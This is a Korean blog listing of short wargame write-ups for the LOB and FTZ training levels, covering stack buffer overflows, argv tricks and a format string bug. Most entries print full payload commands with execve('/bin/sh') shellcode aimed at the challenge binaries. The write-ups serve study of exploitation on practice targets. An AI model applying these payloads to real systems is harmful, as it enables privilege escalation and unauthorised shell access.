전체 글 174

[LOB_10]vampire

vampire // music world argc saver가 추가 되었다. 인자 갯수를 saved_argc에 저장해 놓고 memset으로 초기화 시켜버린다. 파일이름명, 인자들 모두 막힌 상태이다. ./skeleton `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 혹시나 해서 간단하게 argv[1], argv[2] 를 넣어보았지만 memset으로 모두 초기화 되었다. argv[1], argv[2] 가 모두 초기화 되었기에 남은 방법인 argv[0] 심볼..

System/LOB 2019.09.24

[LOB_9]troll

troll // aspirin 코드를 보니 쉬워 보인다. 추가된것은 argv[1] 47번째 인자가 \xff 이라는 점. 대충 내가 그려본 메모리 구조와 예시의 세그먼트 구조는 다음과 같다. ( https://bob3rdnewbie.tistory.com/123 ) 지금 요구하는 것은 0xbf~로 시작하는 주소인데 0xbfffffff 는 스택 세그먼트 주소이다. 0xbfff 보다 작아야 한다. 그렇다면 다음과 같이 생각해 볼 수 있다. argv[1]를 크게 넣어도 되고 argv[1]과 적절한 값과 argv[2] 에 큰값들을 넣어주어도 된다. 페이로드 argv[1] : "A"*47 + "\xbf" argv[2] : "\x90"*10 + shellcode + "A"*0x10000 ./vampire `python..

System/LOB 2019.09.24

[LOB_8]orge

orge // timewalker argv[0],[1] 만 입력되게 되어있고, memset을 한번더 해준다! 일단 먼저 사본파일 tmp에 저장 ./troll `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 세폴트(세그먼트폴트)가 떠 코어덤프를 해준다. 하지만 gdb로 확인을 해봤는데 one more ! 부분에서 memset를 한번더 해주어서 그 부분이 다 0으로 초기화 되었다. ./troll `python -c 'print "\x90"*43+"\xf9\xbf\x0f\x40\xbf"'` 혹시..

System/LOB 2019.09.24

[LOB_7]darkelf

darkelf // kernel crashed 소스코드는 다음과 같다. 전문제와 동일하고 하나하나 추가된다. 이번에 추가되는 부분은 요 녀석이다. argv[0]의 길이가 77개가 아니면 종료해버린다! argv[0]은 실행파일명이 저장되는 부분이다. 이 길이를 우회를 해야한다. (python -c 'print "A"*73';cat)|./orge `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 이런 상상도 해보았지만 fail.. 알아보니 실행파일 경로명이 아무리 길어도 20자를 넘지 못하기에 ..

System/LOB 2019.09.24

FTZ. 20

level20 // we are just regular guys 대망의 마지막 문제! 배열의 크기는 80인데 fgets 에서 입력받는 크기는 79이다. 즉 bof 로 ret 값을 변조가 안된다는 것이다. 그럼 무엇을 쓰면 좋을까? 다른것과 비교해 봤을 때 printf에서 차이점이 드러난다. 포맷스트링 %s를 사용하지 않고 단순 배열을 매개변수로 받는다. 이것은 FSB(Format String Bug)취약점이 발생하게 된다. 포맷스트링 에는 여러가지가 있다. %c : 단일문자 출력 %x : 부호없는 16진수 출력 %n : 이전까지 쓰인 byte 수만큼 저장 FSB에서 가장 중요한 포맷스트링은 %x, %n 이다. %x는 메모리를 읽어낼때, %n은 %n이 가리키는 주소에 저장할때! 먼저 메모리 구조를 대충 읽..

System/FTZ 2019.09.06

FTZ. 19

level19 // swimming in pink 심플한 코드이다. 환경변수를 이용해 ret에 그 주소를 넣어줘야 겠다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` (python -c 'print "\x90"*44+"\x60\xfe\xff\xbf"';cat)|./attackme 성공!?!? ...? 실패였다. 확인해보니 다른 코드와는 달리 setreuid가 없는게 차이점이였다. level20의 ..

System/FTZ 2019.09.06

FTZ. 17

level17 // king poetic 16번과 다르게 "/bash/sh" 가 없다. 그렇다면 환경변수를 이용해 공격해보자고 생각했다. SH의 페이로드는 다음과 같다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 등록한 후 주소를 알아 보았다. little endian : \x5f\xfe\xff\xbf (python -c 'print "\x90"*40+"\x5f\xfe\xff\xbf"';cat)..

System/FTZ 2019.09.06

FTZ. 16

level 16 // about to cause mass 힌트는 다음과 같다. 이번엔 함수의 주소를 이용해야 겠다고 생각이 들었다. main 디버깅 한 것을 보니 이렇게 구성이 되어있다고 생각하게 되었다. call에 shell 함수의 주소를 넣어주면 되겠다. shell함수 디버깅을 통해 함수의 주소를 찾아내었다. : 0x080484d0 이를 이용해 buf,dummy를 NOP으로 덮고 call 에 shell 함수의 주소를 넣어주는 페이로드를 작성하였다. (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme 성공!

System/FTZ 2019.09.06

FTZ. 15

level15 // guess what 포인터 변수의 값이 deadbeef가 되면 쉘을 주는 문제이다. gdb 디버깅을 통해 일단 포인터 변수에 주소를 입력해 주어주면 될것같다. 첨에 환경변수로 접근하려고 했는데 계속 실패해서 담에 더 공부하고 해보기로한다. 군침이 도는 0xdeadbeef 이 부분의 주소를 따내면 될것같다. x/10x로 비교하는 주소부분부터 10개씩 보았다. 'deadbeef' 이친구가 시작하는 주소는 0x080484b2 이라는 것을 알아내었다. 페이로드를 작성하자 (구조는 전과 같으니 생략) (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat)|./attackme

System/FTZ 2019.09.06